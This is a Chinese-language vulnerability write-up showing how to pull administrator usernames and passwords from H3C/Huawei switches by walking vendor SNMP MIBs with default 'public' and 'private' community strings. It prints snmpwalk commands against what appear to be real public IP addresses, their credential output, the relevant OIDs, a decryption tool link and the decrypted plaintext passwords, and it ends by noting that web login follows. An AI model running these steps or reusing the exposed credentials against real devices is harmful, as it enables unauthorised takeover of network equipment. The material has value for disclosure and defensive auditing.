利用SNMP漏洞获得交换机设备信息(以H3C为例)
root@bt:~# snmpwalk -c private -v 1 220.174.246.93 1.3.6.1.4.1.2011.5.2.1.10.1 SNMPv2-SMI::enterprises.2011.5.2.1.10.1.1.6.97.110.113.117.97.110 = STRING: "anquan" SNMPv2-SMI::enterprises.2011.5.2.1.10.1.2.6.97.110.113.117.97.110 = STRING: "K2+L5\"^N:6&X]&8.21CN&Q!!" SNMPv2-SMI::enterprises.2011.5.2.1.10.1.3.6.97.110.113.117.97.110 = INTEGER: 64 SNMPv2-SMI::enterprises.2011.5.2.1.10.1.4.6.97.110.113.117.97.110 = INTEGER: 1 SNMPv2-SMI::enterprises.2011.5.2.1.10.1.5.6.97.110.113.117.97.110 = STRING: "--" SNMPv2-SMI::enterprises.2011.5.2.1.10.1.12.6.97.110.113.117.97.110 = INTEGER: 1
root@bt:~# snmpwalk -c public -v 2c 220.174.246.94 1.3.6.1.4.1.2011.5.2.1.10.1
SNMPv2-SMI::enterprises.2011.5.2.1.10.1.1.5.97.100.109.105.110 = STRING: "admin"
SNMPv2-SMI::enterprises.2011.5.2.1.10.1.1.6.104.117.97.119.101.105 = STRING: "huawei"
SNMPv2-SMI::enterprises.2011.5.2.1.10.1.2.5.97.100.109.105.110 = STRING: "Admin@123"
SNMPv2-SMI::enterprises.2011.5.2.1.10.1.2.6.104.117.97.119.101.105 = STRING: "huawei@123"
SNMPv2-SMI::enterprises.2011.5.2.1.10.1.3.5.97.100.109.105.110 = INTEGER: 515
SNMPv2-SMI::enterprises.2011.5.2.1.10.1.3.6.104.117.97.119.101.105 = INTEGER: 521
SNMPv2-SMI::enterprises.2011.5.2.1.10.1.4.5.97.100.109.105.110 = INTEGER: 15
SNMPv2-SMI::enterprises.2011.5.2.1.10.1.4.6.104.117.97.119.101.105 = INTEGER: 15
SNMPv2-SMI::enterprises.2011.5.2.1.10.1.12.5.97.100.109.105.110 = INTEGER: 1
SNMPv2-SMI::enterprises.2011.5.2.1.10.1.12.6.104.117.97.119.101.105 = INTEGER: 1
简要描述:
管理员用户名和密码可以通过snmp读取,从而获得管理权限。h3c的私有mib有两种,一种是2011(huawei h3c),一种是25506(hh3c)。经过测试发现,有些设备只支持一种。如果一种获取不到数据,可以两种都尝试下。相关的oid为:
详细说明:
1.3.6.1.4.1.2011.10.2.12.1.1.1.1.1 h3cUserName OCTET-STRING admin
1.3.6.1.4.1.2011.10.2.12.1.1.1.1.2 h3cUserName OCTET-STRING h3c
1.3.6.1.4.1.2011.10.2.12.1.1.1.1.3 h3cUserName OCTET-STRING pppoe
1.3.6.1.4.1.2011.10.2.12.1.1.1.2.1 h3cUserPassword OCTET-STRING .]@USE=B,53Q=^Q`MAF4<1!!
1.3.6.1.4.1.2011.10.2.12.1.1.1.2.2 h3cUserPassword OCTET-STRING test
1.3.6.1.4.1.2011.10.2.12.1.1.1.2.3 h3cUserPassword OCTET-STRING pppoe
1.3.6.1.4.1.2011.10.2.12.1.1.1.1.1为用户名,
如果有多个用户则最后一位依次为2,3...
1.3.6.1.4.1.2011.10.2.12.1.1.1.2.1为第一个用户的密码,以此类推。
后面还有一些oid可以获取用户用户是否有管理权限等。需要详细研究的话可以walk一下看看。
漏洞证明:
25506 相关的oid为:
1.3.6.1.4.1.25506.2.12.1.1.1.1.1 h3c
1.3.6.1.4.1.25506.2.12.1.1.1.2.1 P.KG0>5&YV3;5#)%#Z[VS1!!
1.3.6.1.4.1.25506.2.12.1.1.1.3.1 7
1.3.6.1.4.1.25506.2.12.1.1.1.4.1 3
1.3.6.1.4.1.25506.2.12.1.1.1.5.1 0
1.3.6.1.4.1.25506.2.12.1.1.1.6.1 1
同样,第一个为用户名,第二个为密码。
获取到的密码是一个加密的字符串。解密工具:https://github.com/grutz/h3c-pt-tools/blob/master/hh3c_cipher.py
.]@USE=B,53Q=^Q`MAF4<1!!: admin
-AO7S27&QTCQ=^Q`MAF4<1!!: h3c123
P.KG0>5&YV3;5#)%#Z[VS1!!: Zjyd_h3c_10
如上,可以直接得到明文的密码。然后就可以在web登录了。